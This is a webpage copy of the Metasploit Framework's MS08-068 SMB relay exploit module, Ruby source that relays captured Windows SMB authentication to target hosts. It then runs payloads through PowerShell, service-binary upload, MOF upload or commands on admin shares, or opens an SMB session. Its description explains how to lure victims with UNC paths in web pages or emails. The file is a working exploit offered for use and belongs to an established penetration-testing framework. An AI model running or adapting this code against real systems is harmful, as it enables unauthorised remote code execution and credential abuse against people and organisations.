Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
31173 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
=begin
7
Windows XP systems that are not part of a domain default to treating all
8
network logons as if they were Guest. This prevents SMB relay attacks from
9
gaining administrative access to these systems. This setting can be found
10
under:
11
12
Local Security Settings >
13
Local Policies >
14
Security Options >
15
Network Access: Sharing and security model for local accounts
16
=end
17
18
class MetasploitModule < Msf::Exploit::Remote
19
Rank = ExcellentRanking
20
21
include ::Msf::Exploit::Remote::SMB::RelayServer
22
include ::Msf::Exploit::Remote::SMB::Client::Psexec
23
include ::Msf::Exploit::Powershell
24
include Msf::Exploit::EXE
25
include Msf::Module::HasActions
26
include Msf::Auxiliary::CommandShell
27
28
def initialize(info = {})
29
super(
30
update_info(
31
info,
32
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
33
'Description' => %q{
34
This module will relay SMB authentication requests to another
35
host, gaining access to an authenticated SMB session if successful.
36
If the connecting user is an administrator and network logins are
37
allowed to the target machine, this module will execute an arbitrary
38
payload. To exploit this, the target system must try to authenticate
39
to this module. The easiest way to force a SMB authentication attempt
40
is by embedding a UNC path (\SERVER\SHARE) into a web page or
41
email message. When the victim views the web page or email, their
42
system will automatically connect to the server specified in the UNC
43
share (the IP address of the system running this module) and attempt
44
to authenticate. Unfortunately, this
45
module is not able to clean up after itself. The service and payload
46
file listed in the output will need to be manually removed after access
47
has been gained. The service created by this tool uses a randomly chosen
48
name and description, so the services list can become cluttered after
49
repeated exploitation.
50
51
The SMB authentication relay attack was first reported by Sir Dystic on
52
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
53
54
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
55
includes a patch which prevents the relaying of challenge keys back to
56
the host which issued them, preventing this exploit from working in
57
the default configuration. It is still possible to set the SMBHOST
58
parameter to a third-party host that the victim is authorized to access,
59
but the "reflection" attack has been effectively broken.
60
61
As of Feb 2022 - this module does not support SMB 1.
62
},
63
'Author' => [
64
'hdm', # Original SMB v1 relay module
65
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
66
'agalway-r7', # Add SMB 2/3 support
67
'alanfoster', # Add SMB 2/3 support
68
'Spencer McIntyre' # Add SMB 2/3 support
69
],
70
'License' => MSF_LICENSE,
71
'Privileged' => true,
72
'DefaultOptions' => {
73
'EXITFUNC' => 'thread'
74
},
75
'Payload' => {
76
'Space' => 2048,
77
'DisableNops' => true,
78
'StackAdjustment' => -3500
79
},
80
'References' => [
81
['CVE', '2008-4037'],
82
['OSVDB', '49736'],
83
['MSB', 'MS08-068'],
84
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
85
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
86
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
87
],
88
'Platform' => 'win',
89
'Targets' => [
90
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
91
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
92
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
93
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
94
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
95
],
96
'Notes' => {
97
'Stability' => [
98
CRASH_SAFE,
99
],
100
'Reliability' => [
101
REPEATABLE_SESSION
102
],
103
'SideEffects' => [
104
ARTIFACTS_ON_DISK,
105
IOC_IN_LOGS,
106
ACCOUNT_LOCKOUTS
107
]
108
},
109
'DisclosureDate' => '2001-03-31',
110
'DefaultTarget' => 0,
111
'Actions' => available_actions,
112
'Stance' => Msf::Exploit::Stance::Passive,
113
'DefaultAction' => 'PSEXEC'
114
)
115
)
116
117
register_options(
118
[
119
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])
120
]
121
)
122
123
register_advanced_options(
124
[
125
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
126
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
127
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
128
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
129
]
130
)
131
132
deregister_options(
133
'RPORT', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
134
)
135
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
136
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
137
end
138
end
139
140
def available_actions
141
actions = [
142
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
143
]
144
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
145
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
146
end
147
148
actions
149
end
150
151
def validate_service_stub_encoder!
152
service_encoder = datastore['SERVICE_STUB_ENCODER']
153
return if service_encoder.nil? || service_encoder.empty?
154
155
encoder = framework.encoders[service_encoder]
156
if encoder.nil?
157
raise Msf::OptionValidateError.new(
158
{
159
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
160
}
161
)
162
end
163
end
164
165
def validate
166
case action.name
167
when 'PSEXEC'
168
validate_service_stub_encoder!
169
end
170
super
171
end
172
173
def on_relay_success(relay_connection:, relay_identity:)
174
case action.name
175
when 'PSEXEC'
176
run_psexec(relay_connection)
177
when 'CREATE_SMB_SESSION'
178
begin
179
session_setup(relay_connection)
180
rescue StandardError => e
181
elog('Failed to setup the session', error: e)
182
end
183
end
184
end
185
186
def run_psexec(relay_connection)
187
# The psexec mixins assume a single smb client instance is available, which makes it impossible
188
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
189
# and set the datastore options and simple smb instance
190
new_mod_instance = replicant
191
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
192
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
193
# The new module no longer needs a reference to the original smb server, deref it explicitly:
194
new_mod_instance.service.deref
195
new_mod_instance.service = nil
196
# Wrap the ruby_smb connection in a rex-compatible adapter
197
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
198
199
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
200
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
201
mod_instance.exploit_smb_target
202
rescue StandardError => e
203
print_error("Failed running psexec against target #{relay_connection.target.ip} - #{e.class} #{e.message}")
204
elog(e)
205
# ensure
206
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
207
# # The parent module will clean these shared resources
208
# mod_instance.cleanup
209
end
210
end
211
212
def relay_targets
213
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
214
:smb,
215
rport,
216
datastore['RHOSTS'],
217
randomize_targets: datastore['RANDOMIZE_TARGETS']
218
)
219
end
220
221
def check_host(_target_ip)
222
generic_message = 'Failed to connect and negotiate an SMB connection.'
223
begin
224
simple = connect(false, direct: true)
225
simple.client.negotiate
226
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError, Errno::ECONNRESET
227
return Exploit::CheckCode::Unknown(generic_message)
228
rescue ::Exception => e # rubocop:disable Lint/RescueException
229
elog(generic_message, error: e)
230
return Exploit::CheckCode::Unknown(generic_message)
231
end
232
233
if simple.signing_required
234
return Exploit::CheckCode::Safe('Signing is required by the target server.')
235
end
236
237
Exploit::CheckCode::Vulnerable('Signing is not required by the target server.')
238
end
239
240
# Called after a successful connection to a relayed host is opened
241
def exploit_smb_target
242
# automatically select an SMB share unless one is explicitly specified
243
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
244
smbshare = datastore['SMBSHARE']
245
elsif target.name == 'Command'
246
smbshare = 'C$'
247
else
248
smbshare = 'ADMIN$'
249
end
250
251
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
252
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
253
254
vprint_status 'Running psexec'
255
case target.name
256
when 'Automatic'
257
if powershell_installed?(smbshare, datastore['PSH_PATH'])
258
print_status('Selecting PowerShell target')
259
execute_powershell_payload
260
else
261
print_status('Selecting native target')
262
native_upload(smbshare, service_filename, service_encoder)
263
end
264
when 'PowerShell'
265
execute_powershell_payload
266
when 'Native upload'
267
native_upload(smbshare, service_filename, service_encoder)
268
when 'MOF upload'
269
mof_upload(smbshare)
270
when 'Command'
271
execute_command_payload(smbshare)
272
end
273
274
handler
275
disconnect
276
end
277
278
# @param [RubySMB::Client] client
279
def session_setup(client)
280
return unless client
281
282
platform = 'windows'
283
284
# Create a new session
285
rstream = client.dispatcher.tcp_socket
286
sess = Msf::Sessions::SMB.new(
287
rstream,
288
{
289
client: client
290
}
291
)
292
ds = {
293
'RHOST' => client.target.ip,
294
'RPORT' => client.target.port
295
}
296
297
s = start_session(self, nil, ds, false, sess.rstream, sess)
298
299
s.platform = platform
300
301
s
302
end
303
304
def rport
305
445
306
end
307
end
308
309